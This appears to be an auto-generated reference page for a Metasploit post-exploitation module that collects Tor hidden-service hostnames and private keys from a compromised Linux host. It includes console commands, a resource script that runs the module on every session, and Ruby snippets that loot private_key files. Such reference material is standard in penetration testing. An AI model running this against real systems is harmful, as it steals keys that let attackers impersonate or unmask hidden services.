Linux Gather TOR Hidden Services - Metasploit


This page contains detailed information about how to use the post/linux/gather/tor_hiddenservices metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Linux Gather TOR Hidden Services
Module: post/linux/gather/tor_hiddenservices
Source code: modules/post/linux/gather/tor_hiddenservices.rb
Disclosure date: -
Last modification time: 2019-08-15 18:10:44 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module collects the hostnames name and private keys of any TOR Hidden Services running on the target machine. It will search for torrc and if found, will parse it for the directories of Hidden Services. However, root permissions are required to read them as they are owned by the user that TOR runs as, usually a separate account.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/tor_hiddenservices

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/tor_hiddenservices
msf post(tor_hiddenservices) > show options
    ... show and set options ...
msf post(tor_hiddenservices) > set SESSION session-id
msf post(tor_hiddenservices) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/tor_hiddenservices")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the linux/gather/tor_hiddenservices post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/tor_hiddenservices

msf6 post(linux/gather/tor_hiddenservices) > show info

       Name: Linux Gather TOR Hidden Services
     Module: post/linux/gather/tor_hiddenservices
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  Harvey Phillips <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module collects the hostnames name and private keys of any TOR 
  Hidden Services running on the target machine. It will search for 
  torrc and if found, will parse it for the directories of Hidden 
  Services. However, root permissions are required to read them as 
  they are owned by the user that TOR runs as, usually a separate 
  account.

Module Options


This is a complete list of options available in the linux/gather/tor_hiddenservices post exploitation module:

msf6 post(linux/gather/tor_hiddenservices) > show options

Module options (post/linux/gather/tor_hiddenservices):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options


Here is a complete list of advanced options supported by the linux/gather/tor_hiddenservices post exploitation module:

msf6 post(linux/gather/tor_hiddenservices) > show advanced

Module advanced options (post/linux/gather/tor_hiddenservices):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the linux/gather/tor_hiddenservices module can do:

msf6 post(linux/gather/tor_hiddenservices) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the linux/gather/tor_hiddenservices post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/tor_hiddenservices) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No torrc file found, maybe it goes by a different name?


Here is a relevant code snippet related to the "No torrc file found, maybe it goes by a different name?" error message:

60:	  end
61:	
62:	  def find_torrc
63:	    config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")
64:	    if config.length == 0
65:	        print_error ("No torrc file found, maybe it goes by a different name?")
66:	    else
67:	        hidden = Array.new
68:	        # For every torrc file found, parse them for HiddenServiceDir
69:	        config.each do |c|
70:	            print_good("Torrc file found at #{c}")

No hidden services were found!


Here is a relevant code snippet related to the "No hidden services were found!" error message:

78:	     hidden = hidden.uniq
79:	     # If hidden is empty, then no Hidden Services are running.
80:	     if hidden.length != 0
81:	         print_good("#{hidden.length} hidden services have been found!")
82:	     else
83:	         print_bad("No hidden services were found!")
84:	     end
85:	
86:	     if is_root?
87:	         # For all the Hidden Services found, loot hostname file
88:	         hidden.each do |f|

Hidden Services were found, but we need root to access the directories


Here is a relevant code snippet related to the "Hidden Services were found, but we need root to access the directories" error message:

93:	         # For all the Hidden Services found, loot private_key file
94:	         hidden.each do |f|
95:	            output = read_file("#{f}private_key")
96:	            save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
97:	         end
98:	     else
99:	         print_error("Hidden Services were found, but we need root to access the directories")
100:	     end
101:	    end
102:	  end
103:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • Harvey Phillips <xcellerator[at]gmx.com>

Version


This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.